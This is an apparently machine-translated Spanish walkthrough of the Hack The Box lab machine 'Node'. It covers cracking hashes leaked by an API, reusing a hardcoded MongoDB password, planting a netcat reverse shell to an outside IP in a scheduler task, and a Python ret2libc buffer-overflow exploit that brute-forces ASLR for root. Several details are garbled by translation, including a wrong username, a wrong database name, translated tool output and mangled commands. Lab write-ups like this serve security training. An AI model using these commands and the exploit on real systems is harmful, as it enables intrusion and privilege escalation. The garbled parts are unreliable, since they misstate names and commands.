Hack the Box es una plataforma en línea para probar y mejorar tus habilidades en pruebas de penetración y ciberseguridad.
En esta serie de artículos mostraremos cómo los evaluadores junior completan algunas máquinas de Hack The Box en su camino hacia OSCP, una certificación muy conocida, respetada y requerida para muchos puestos de ciberseguridad. Los certificados OSCP son capaces de identificar las vulnerabilidades existentes y ejecutar ataques organizados de manera controlada. Pueden aprovechar o modificar el código de exploits existentes en su beneficio, realizar pivoting en la red y exfiltrar datos, y comprometer los sistemas debido a configuraciones deficientes.
¡Empecemos con la diversión!
Node
Initial Foothold
Hay una página web en el puerto 3000. El cálculo de los directorios es difícil porque la página regresa
código 200
para las páginas que no existen.
Una forma más fiable de enumerar es enviar una solicitud a la página a través de Burp Suite, luego navegar
la pestaña Target y echa un vistazo a los directorios encontrados por el escaneo pasivo de Burp. Uno de estos
El directorio es API/usuarios
que contiene un archivo JSON con nombres de usuario y contraseñas.
0
_id "59a7365b98aa325cc03ee51c"
username "myP14ceAdm1nAcc0uNT"
password "dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af"
is_admin true
1
_id "59a7368398aa325cc03ee51d"
username "tom"
password "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240"
is_admin false
2
_id "59a7368e98aa325cc03ee51e"
username "mark"
password "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73"
is_admin false
3
_id "59aa9781cced6f1d1490fce9"
username "rastating"
password "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0"
is_admin false
Podemos usar john
para descifrar las contraseñas:
john -wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt credentials.txt --format=Raw-SHA256
Resultados:
- tom:spongebob
- miP14ceAdm1nAcc0uNT:manchester
- mark:snowflake
Podemos usar estas credenciales para entrar en 10.10.10.58:3000/login
.
Si entramos como un usuario que no es un admin (tom y mark) obtenemos un mensaje diciendo que sólo admin
el usuario tiene acceso al panel de control. Si nos registramos como myP14ceAdm1nAcc0uNT, tenemos acceso a un
backup: myplace.backup
.
El archivo de respaldo está codificado en base64: base64 -d myplace.backup > backup_decoded
. Luego haciendo unzip backup_decoded
revela que es un archivo zip. Si intentamos usar unzip backup_decoded
encontramos que tiene una contraseña, así que
podemos tratar de descifrarlo con John
.
Para descifrar la contraseña del zip, primero hacemos zip2john backup_decoded > zip.hash
y luego...
john -wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt zip.hash
. El zip
La contraseña es: magicword
.
Buscando a través de la copia de seguridad, en app.js
encontramos la siguiente cadena:
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
5AYRft73VtFpc84k
: parece otra contraseña para el usuario mark
. Resulta que es su ssh
Contraseña: ssh mark@10.10.10.58
.
User
Usando pspy, encontramos lo siguiente:
CMD: UID=1000 PID=1208 | /usr/bin/node /var/scheduler/app.js
Donde UID=1000
significa el usuario bottom
(compruébalo haciendo cat /etc/passwd
).
Mirando en var/scheduler/app.js
vemos que ejecuta un comando de shell basado en una propiedad para
el documento de MongoDB se llama tasks
. También muestra que el nombre de la base de datos es programmer
.
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';
Comencemos por conectar con la base de datos: mongo -p -u mark scheduler
. Y cuando se le pide
un uso de la contraseña: 5AYRft73VtFpc84k
.
Crear la propiedad del documento
Crearemos un atributo llamado cmd
con el valor de un shell invertido. Por alguna razón el bash
El shell inverso no funciona, se conecta con éxito pero no recibo ninguna salida de los comandos.
Como alternativa, podemos usar un shell inversa de Netcat.
db.tasks.insert( { "cmd" : "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.44 12345 >/tmp/f" } )
Espera unos segundos y obtenemos un shell inversa como usuario bottom
.
Root
Usando lse.sh
encontramos un inusual setuid binario: usr/local/bin/backup
.
Si recordamos, en el archivo var/www/myplace/app.js
, llama a este binario con cierto
argumentos:
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
Donde la clave de copia de seguridad = 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
.
TLDR
Hay una vulnerabilidad de desbordamiento de búfer en este binario (en el argumento dirname
), sin embargo
tiene protecciones NX y ASLR, así que tenemos que trabajar alrededor de ellas. La solución es volver al ataque de la libreria
mientras se fuerza el ASLR.
Paso 1. Encontrar una función vulnerable
Necesitamos realizar un análisis estático para encontrar una función vulnerable. En este caso va a
ser strcopy
dentro de la función displayTarget
, que muestra el directorio de destino cuando el binario es
Corre sin la bandera de q
. Esto significa que tenemos que realizar el desbordamiento en el tercer
parámetro: el directorio de destino.
El binario todavía requiere 3 parámetros para ser ejecutado, pero podemos sustituir el q
por una cadena aleatoria
y seguirá funcionando.
Pruebe que el desbordamiento funciona llamándolo con un fuerte absurdamente largo como:
python3 -c "print('A' * 800)"
Si funciona, el programa debería fallar con un fallo de segmento.
Paso 2. Encuentra la longitud del desbordamiento
Ahora, necesitamos saber en qué punto sobrescribimos el registro del puntero de instrucciones. Para eso un práctico
La herramienta en Db-peda
es Pattern_create
.
Sin embargo, en este caso en particular, las listas negras binarias de algunos
de los caracteres utilizados por Pattern_create
, así que tenemos que recurrir al método manual de usar
Python
.
Por ejemplo, usa python -c "print('A' * 600 + 'B' * 4)"
. Iterar hasta que el puntero de la instrucción sea
sobrescrita con 0x42424242
. Cuando eso sucede, la cantidad de A
es la longitud de nuestro buffer de desbordamiento (512
en este caso).
Paso 3. Encontrar la dirección base de libc
Haciendo: ldd /usr/local/bin/backup | grep libc
obtenemos algo como esto como salida:
libc.so.6 => /lib32/libc.so.6 (0xf7606000)
Si repetimos el comando varias veces y la dirección cambia, significa que el ASLR está activado. Por suerte para nosotros, la dirección no cambia mucho, así que la solución será forzar la dirección.
Paso 4. Encontrar las compensaciones relevantes
ASLR sólo cambia la dirección base de Libc
, pero cualquier función contenida en ella siempre estará en
el mismo desplazamiento. Por esta razón, necesitamos encontrar el desplazamiento para el sistema de llamadas del sistema y la cadena
bin/sh
.
IMPORTANTE: Cada desplazamiento debe ser rellenado con 0
a la izquierda para que sea de 32 bits (8 caracteres).
Para encontrar el system
de compensación: readelf -s /lib32/libc.so.6 | grep system
.
Se obtendrá algo como esto:
245: 00110820 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
627: 0003a940 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1457: 0003a940 55 FUNC DÉBIL DEFECTO 13 sistema@@GLIBC_2.0
La compensación que buscamos es 0003a940
.
Para la cadena bin/sh
: strings -a -t x /lib32/libc.so.6 | grep /bin/sh
. Output: 15900b /bin/sh
(Opcional) Compensación de salida
Si no queremos que el binario se estrelle cuando terminemos de explotarlo, debemos encontrar el punto de salida.
readelf -s /lib32/libc.so.6 | grep exit
. Output:
112: 0002eba0 39 FUNC GLOBAL DEFAULT 13 __cxa_at_quick_exit@@GLIBC_2.10
141: 0002e7b0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0
450: 0002ebd0 181 FUNC GLOBAL DEFAULT 13 __cxa_thread_atexit_impl@@GLIBC_2.18
558: 000af578 24 FUNC GLOBAL DEFAULT 13 _exit@@GLIBC_2.0
616: 00113840 56 FUNC GLOBAL DEFAULT 13 svc_exit@@GLIBC_2.0
652: 0002eb80 31 FUNC GLOBAL DEFAULT 13 quick_exit@@GLIBC_2.10
876: 0002e9d0 85 FUNC GLOBAL DEFAULT 13 __cxa_atexit@@GLIBC_2.1.3
1046: 0011d290 52 FUNC GLOBAL DEFAULT 13 atexit@GLIBC_2.0
1394: 001b0204 4 OBJECT GLOBAL DEFAULT 32 argp_err_exit_status@@GLIBC_2.1
1506: 000f19a0 58 FUNC GLOBAL DEFAULT 13 pthread_exit@@GLIBC_2.0
2108: 001b0154 4 OBJECT GLOBAL DEFAULT 32 obstack_exit_failure@@GLIBC_2.0
2263: 0002e7d0 78 FUNC WEAK DEFAULT 13 on_exit@@GLIBC_2.0
2406: 000f2db0 2 FUNC GLOBAL DEFAULT 13 __cyg_profile_func_exit@@GLIBC_2.2
La compensación que buscamos es: 0002e7d0
.
Paso 5. Escribir el script
Con toda la información que hemos reunido hasta ahora, estamos listos para escribir un script que
automatiza el ataque de fuerza bruta. En este caso el script está escrito en Python 3
, probado en
versión 3.5.2
(la versión Python 3 de la víctima).
exploit.py
#!/usr/bin/python3
from subprocess import call
import struct
backup_key = "45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474"
libc_base_addr = 0xf7610000
# Offsets
system_off = 0x0003a940
exit_off = 0x0002e7d0
arg_sh_off = 0x0015900b
system_off = struct.pack("<I", libc_base_addr + system_off)
exit_off = struct.pack("<I", libc_base_addr + exit_off)
arg_sh_off = struct.pack("<I", libc_base_addr + arg_sh_off)
buff = b"A"*512
buff += system_off
buff += exit_off
buff += arg_sh_off
# After checking the address of libc, we see that it only changes in about 9 bits = 512
# possibilities.
for i in range(512):
print("Tries: %s" %i)
ret = call(["/usr/local/bin/backup", "69", backup_key, buff])
Ahora podemos Modificar +x exploit.py
y ejecutarlo Explot.py
. No sé si tuve suerte, pero tengo
una shell de root alrededor del intento número 40.